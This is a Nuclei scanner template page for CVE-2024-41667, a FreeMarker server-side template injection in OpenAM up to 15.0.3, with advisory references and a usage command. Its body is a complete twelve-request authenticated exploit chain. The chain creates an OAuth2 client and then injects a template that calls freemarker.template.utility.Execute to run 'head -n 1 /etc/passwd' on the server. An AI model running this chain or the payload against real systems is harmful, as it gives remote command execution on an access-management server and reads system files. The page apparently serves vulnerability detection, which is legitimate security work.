OpenAM<=15.0.3 FreeMarker - Template Injection
ID: CVE-2024-41667
Severity: high
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2024,intrusive,openam,ssti,authenticated
Description
Section titled “Description”OpenAM is an open access management solution. In versions 15.0.3 and prior, the getCustomLoginUrlTemplate method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input
YAML Source
Section titled “YAML Source”id: CVE-2024-41667
info: name: OpenAM<=15.0.3 FreeMarker - Template Injection author: iamnoooob,rootxharsh,pdresearch severity: high description: | OpenAM is an open access management solution. In versions 15.0.3 and prior, the `getCustomLoginUrlTemplate` method in RealmOAuth2ProviderSettings.java is vulnerable to template injection due to its usage of user input reference: - https://github.com/advisories/GHSA-7726-43hg-m23v - https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-7726-43hg-m23v - https://github.com/OpenIdentityPlatform/OpenAM/commit/fcb8432aa77d5b2e147624fe954cb150c568e0b8 - https://nvd.nist.gov/vuln/detail/CVE-2024-41667 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2024-41667 cwe-id: CWE-94 epss-score: 0.00043 epss-percentile: 0.09527 metadata: max-request: 12 verified: true tags: cve,cve2024,intrusive,openam,ssti,authenticated
flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9) && http(10) && http(11) && http(12)
variables: username: "{{username}}" password: "{{password}}"
http: - raw: - | POST /openam/json/realms/root/authenticate HTTP/1.1 Host: {{Hostname}} Accept-API-Version: protocol=1.0,resource=2.1 X-Password: anonymous X-Username: anonymous Content-Type: application/json X-Requested-With: XMLHttpRequest X-NoSession: true
matchers: - type: word part: body words: - "authId" internal: true
extractors: - type: regex name: authId part: body group: 1 regex: - '"authId":"(.*?)"' internal: true
- raw: - | POST /openam/json/realms/root/authenticate HTTP/1.1 Host: {{Hostname}} Accept-API-Version: protocol=1.0,resource=2.1 X-Password: anonymous X-Username: anonymous Content-Type: application/json Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest X-NoSession: true
{"authId":"{{authId}}","template":"","stage":"DataStore1","header":"Sign in to OpenAM","infoText":["",""],"callbacks":[{"type":"NameCallback","output":[{"name":"prompt","value":"User Name:"}],"input":[{"name":"IDToken1","value":"{{username}}"}]},{"type":"PasswordCallback","output":[{"name":"prompt","value":"Password:"}],"input":[{"name":"IDToken2","value":"{{password}}"}]}]}
matchers: - type: word part: body words: - "tokenId"
extractors: - type: kval name: csrf part: header internal: true kval: - iPlanetDirectoryPro
- raw: - | GET /openam/realm/RMRealm?RMRealm.tblDataActionHref=/&requester=XUI HTTP/1.1 Host: {{Hostname}}
extractors: - type: regex name: pageSession1 part: body group: 1 regex: - 'jato.pageSession=(.*?)"'
- raw: - | GET /openam/agentconfig/Agents?Agents.tabCommon.TabHref=186&jato.pageSession={{pageSession1}}&requester=XUI HTTP/1.1 Host: {{Hostname}}
extractors: - type: regex name: pageSession2 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true
- raw: - | POST /openam/agentconfig/Agents HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive
jato.defaultCommand=%2Fg&jato.pageSession={{pageSession2}}
extractors: - type: regex name: pageSession3 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true
- raw: - | POST /openam/agentconfig/Agents HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive
&Agents.tfFilter=*&Agents.tblSearch.PrimarySortNameHiddenField=tblDataName&Agents.tblSearch.PrimarySortOrderHiddenField=ascending&Agents.tblSearch.SecondarySortNameHiddenField=&Agents.tblSearch.SecondarySortOrderHiddenField=&Agents.tblSearch.AdvancedSortNameHiddenField=&Agents.tblSearch.AdvancedSortOrderHiddenField=&Agents.tblButtonAdd=New...&Agents.tblButtonDelete.DisabledHiddenField=true&Agents.tblSearch.SelectionCheckbox0.jato_boolean=false&Agents.tblDataUniversalName=id%3Dou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&Agents.tfGroupFilter=*&Agents.tblSearchGroup.PrimarySortNameHiddenField=tblDataGroupName&Agents.tblSearchGroup.PrimarySortOrderHiddenField=ascending&Agents.tblSearchGroup.SecondarySortNameHiddenField=&Agents.tblSearchGroup.SecondarySortOrderHiddenField=&Agents.tblSearchGroup.AdvancedSortNameHiddenField=&Agents.tblSearchGroup.AdvancedSortOrderHiddenField=&Agents.tblButtonGroupDelete.DisabledHiddenField=true&jato.defaultCommand=%2FbtnSearch&jato.pageSession={{pageSession3}}
extractors: - type: regex name: pageSession4 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true
- raw: - | POST /openam/agentconfig/AgentAdd HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive
AgentAdd.button1=Create&AgentAdd.tfName={{randstr}}&AgentAdd.tfPassword=test&AgentAdd.tfPasswordConfirm=test&jato.defaultCommand=%2Fbutton1&jato.pageSession={{pageSession4}}
extractors: - type: regex name: pageSession5 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true
- raw: - | GET /openam/agentconfig/Agents?Agents.tblDataActionHref=id%3D{{randstr}}%2Cou%3Dagentonly%2Cdc%3Dopenam%2Cdc%3Dopenidentityplatform%2Cdc%3Dorg&jato.pageSession={{pageSession2}} HTTP/1.1 Host: {{Hostname}}
extractors: - type: regex name: pageSession6 part: body group: 1 regex: - '"jato.pageSession" value="(.*?)"' internal: true
- raw: - | POST /openam/agentconfig/GenericAgentProfile HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Connection: keep-alive
GenericAgentProfile.button1=+Save+&GenericAgentProfile.agentgroup=&GenericAgentProfile.sunIdentityServerDeviceStatus=Active&GenericAgentProfile.userpassword=&GenericAgentProfile.userpassword_confirm=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientType=Confidential&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.listbox=https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.redirectionURIs.selectedTextField=https%3A%2F%2Fgithub.com%09https%3A%2F%2Fgithub.com&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.listbox=employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=employeenumber%09employeenumber&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.scopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.claims.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.name.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.description.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultScopes.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.responseTypes.selectedTextField=code%09code%09token%09token%09id_token%09id_token%09code+token%09code+token%09token+id_token%09token+id_token%09code+id_token%09code+id_token%09code+token+id_token%09code+token+id_token&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.contacts.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.tokenEndPointAuthMethod=client_secret_basic&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwksURI=http%3A%2F%2Fkubernetes.docker.internal%3A8081%2Fopenam%2Foauth2%2Fconnect%2Fjwk_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwks=&GenericAgentProfile.com.forgerock.openam.oauth2provider.sectorIdentifierURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.subjectType=Public&GenericAgentProfile.com.forgerock.openam.oauth2provider.idTokenSignedResponseAlg=HS256&GenericAgentProfile.idTokenEncryptionEnabled.jato_boolean=false&GenericAgentProfile.idTokenEncryptionAlgorithm=RSA1_5&GenericAgentProfile.idTokenEncryptionMethod=A128CBC-HS256&GenericAgentProfile.idTokenPublicEncryptionKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.postLogoutRedirectURI.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessToken=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientSessionURI=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.deleteButton.DisabledHiddenField=true&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.textField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.addButton.DisabledHiddenField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientName.selectedTextField=&GenericAgentProfile.com.forgerock.openam.oauth2provider.clientJwtPublicKey=&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAge=600&GenericAgentProfile.com.forgerock.openam.oauth2provider.defaultMaxAgeEnabled.jato_boolean=false&GenericAgentProfile.com.forgerock.openam.oauth2provider.publicKeyLocation=jwks_uri&GenericAgentProfile.com.forgerock.openam.oauth2provider.authorizationCodeLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.refreshTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.accessTokenLifeTime=0&GenericAgentProfile.com.forgerock.openam.oauth2provider.jwtTokenLifeTime=0&GenericAgentProfile.isConsentImplied.jato_boolean=false&jato.pageSession={{pageSession6}}
matchers: - type: word part: body words: - '<div class="AlrtMsgTxt">Profile was updated.</div>'
- raw: - | POST /openam/json/realms/root/realm-config/services/oauth-oidc?_action=create HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: application/json Connection: keep-alive
{}
matchers: - type: word part: body words: - 'message' - 'reason' - 'code' condition: and
- raw: - | PUT /openam/json/realms/root/realm-config/services/oauth-oidc HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: application/json
{"advancedOAuth2Config":{"customLoginUrlTemplate":"<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"head -n 1 /etc/passwd\")}"},"deviceCodeConfig":{"completionUrl":"","verificationUrl":"","devicePollInterval":5,"deviceCodeLifetime":300},"oidcSsoProviderEnabled":false,"_id":"","_type":{"_id":"oauth-oidc","name":"OAuth2 Provider","collection":false}}
matchers: - type: word part: body words: - 'advancedOAuth2Config' - 'customLoginUrlTemplate' condition: and
- raw: - | GET /openam/oauth2/realms/root/authorize?client_id={{randstr}}&scope=employeenumber&redirect_uri=https://github.com&response_type=code&csrf={{csrf}}&max_age=200 HTTP/1.1 Host: {{Hostname}}
disable-cookie: true matchers: - type: dsl dsl: - 'contains(urldecode(location),"root:x:0:0:")'# digest: 4a0a004730450220538ba5b41ef687e1ab55632c1abe97618d8e6c20822472826bafa76c58fbf9e7022100c3e21901d81207b1eae4bf64dffe4c20f68c1aa04f435aeaa31bb68ee7fcc372:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-41667.yaml"